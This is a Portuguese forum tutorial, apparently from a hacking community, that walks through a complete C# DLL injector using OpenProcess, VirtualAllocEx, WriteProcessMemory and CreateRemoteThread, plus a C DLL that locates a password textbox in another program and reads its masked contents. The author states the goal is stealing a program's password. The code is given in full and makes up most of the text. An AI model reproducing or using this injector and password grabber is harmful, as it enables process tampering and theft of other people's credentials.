Opa vim compartilhar um tutorialzinho que fiz aqui utilizando c# para injetar uma dll feita em C, para roubar a senha de um programa..

Sem mais, vamos começar...
Utilizando o Visual Studio (2005 ou superior) criem um projeto do tipo Console Application.
Fora do método main, declare as seguintes constantes que iremos precisar no programa:
Código PHP:
const uint All = 0x001F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0X40;
A partir de agora tudo que iremos implementar vai ficar dentro do método Main.
Código PHP:
if (args.Length < 2)
{
Console.WriteLine("Parâmetros: [Pid] [CaminhoDll]");
return;
}
int pid = Int32.Parse(args[0]);
string caminhoDll = args[1];
Aqui fazemos somente uma validação dos argumentos passados ao programa. Para injetar a dll vamos precisar dessas 2 informações: o Id do processo, e o caminho da Dll que iremos injetar.
Código PHP:
IntPtr hProcess = OpenProcess(All, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("Não foi possível abrir o processo");
return;
}
Utilizamos a Api OpenProcess para abrir o processo a partir do id que recebemos e armazenamos sua handle na variável hProcess.
Código PHP:
IntPtr loadlibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadlibAddr == IntPtr.Zero)
{
Console.WriteLine("Não foi possível encontrar o endereço de 'LoadLibraryA'");
return;
}
Nesse trecho de código, procuramos o endereço da função LoadLibraryA dentro da dll kernel32, utilizando a Api GetProcAddress que nos retorna essa informação e guardamos esse endereço na variável loadlibAddr.
Código PHP:
IntPtr allocAddress = VirtualAllocEx(
hProcess,
IntPtr.Zero,
new IntPtr(caminhoDll.Length + 1),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (allocAddress == IntPtr.Zero)
{
Console.WriteLine("Não foi possível alocar memória no processo alvo");
return;
}
Em seguida, alocamos um espaço dentro da memória do processo utilizando a api VirtualAllocEx. Observem que no terceiro parâmetro, informamos o tamanho da variável que guarda o caminho da dll + 1. Em breve vcs vão entender melhor o por que disso. Também guardamos na variável allocAddress o endereço que alocamos dentro desse processo.
Código PHP:
UIntPtr bytesmem = UIntPtr.Zero;
byte[] bytes = Encoding.ASCII.GetBytes(caminhoDll);
WriteProcessMemory(hProcess, allocAddress, bytes, (uint)bytes.Length, out bytesmem);
if (bytesmem == UIntPtr.Zero)
{
Console.WriteLine("Não foi possível escrever na memória do processo alvo");
return;
}
Agora, convertemos o caminho da dll, para uma variável do tipo byte[], e usamos a api WriteProcessMemory para escrever os bytes (caminhoDll), dentro do espaço que alocamos no processo (allocAddress).
Código PHP:
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
IntPtr.Zero,
loadlibAddr,
allocAddress,
0,
IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("Não foi possível injetar a Dll no processo alvo");
return;
}
Finalmente, utilizando a api CreateRemoteThread, criamos uma thread dentro do processo que carrega a Dll que escolhemos dentro do espaço de memória que alocamos. A partir dessa rotina já conseguimos injetar uma Dll dentro de um processo.
Porém continuando o tutorial vou mostrar como utilizar isso para roubar a senha de um programa daquelas caixas de texto de senha que ficam somente com o texto: *********.
Para isso precisaremos criar uma Dll em C. No meu caso vou utilizar o Visual C++ 6.0 pq é o único compilador que tenho aqui no momento rs :P.
A rotina da Dll ficará assim:
Código:
#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HWND hwnd;
HWND txthwnd;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hwnd = FindWindow("ThunderRT6FormDC", "Form1");
if(hwnd == 0)
MessageBox(0, "Não encontrei o Form", "=(", 0);
txthwnd = FindWindowEx(hwnd, 0, "ThunderRT6TextBox", "");
if(txthwnd == 0)
MessageBox(0, "Não encontrei a caixa de texto com a senha", "=(", 0);
char valor[30];
GetWindowText(txthwnd, valor, 30);
MessageBox(0, valor, "Ta ai a senha, enjoy..", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Agora explicando, no caso eu criei um form bem simples no VB6, não tem nenhum código, é somente um form com 1 botão e 1 caixa de texto com a propriedade PasswordChar setada para utilizar *. Na rotina da Dll utilizamos o case DLL_PROCESS_ATACH que é disparado assim que a Dll é associada ao processo. A Dll simplesmente utiliza as Api's FindWindow e FindWindowEx para obter a handle da caixa de texto dentro do formulário. Após isso utiliza a função GetWindowText descobrindo o que está escrito na caixa de texto e exibe numa MessageBox, simples né!? =P
Assim utilizando essa dll que eu criei, uso o programa para injetá-la dentro do processo do formzinho que eu criei e ela me exibe uma MessageBox com a senha.
Obviamente, poderiamos tentar obter a handle da caixa de texto de um programa externo e através dele utilizar a GetWindowText, porém isso não funcionaria, pelo simples motivo:
Quando você utiliza a api GetWindowText, ela envia a mensagem WM_GETTEXT para o objeto, porém isso não acontece quando vc a utiliza em um objeto que faz parte de um outro processo, dessa forma não teria como vc utiliza-la para descobrir a senha sem ter de injetar uma Dll.
O fonte completo com a declaração das api's necessárias segue abaixo:
Código PHP:
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
namespace ConsoleApplication2
{
class Program
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string lpProcName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetModuleHandle(
string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
IntPtr dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttribute,
IntPtr dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
const uint All = 0x001F0FFF;
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0X40;
static void Main(string[] args)
{
args = new string[2];
args[0] = "1392";
args[1] = @"c:\testedll.dll";
if (args.Length < 2)
{
Console.WriteLine("Parâmetros: [Pid] [CaminhoDll]");
return;
}
int pid = Int32.Parse(args[0]);
string caminhoDll = args[1];
IntPtr hProcess = OpenProcess(All, false, pid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("Não foi possível abrir o processo");
return;
}
IntPtr loadlibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadlibAddr == IntPtr.Zero)
{
Console.WriteLine("Não foi possível encontrar o endereço de 'LoadLibraryA'");
return;
}
IntPtr allocAddress = VirtualAllocEx(
hProcess,
IntPtr.Zero,
new IntPtr(caminhoDll.Length + 1),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (allocAddress == IntPtr.Zero)
{
Console.WriteLine("Não foi possível alocar memória no processo alvo");
return;
}
UIntPtr bytesmem = UIntPtr.Zero;
byte[] bytes = Encoding.ASCII.GetBytes(caminhoDll);
WriteProcessMemory(hProcess, allocAddress, bytes, (uint)bytes.Length, out bytesmem);
if (bytesmem == UIntPtr.Zero)
{
Console.WriteLine("Não foi possível escrever na memória do processo alvo");
return;
}
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
IntPtr.Zero,
loadlibAddr,
allocAddress,
0,
IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("Não foi possível injetar a Dll no processo alvo");
return;
}
return;
}
}
}
Espero que gostem, abraços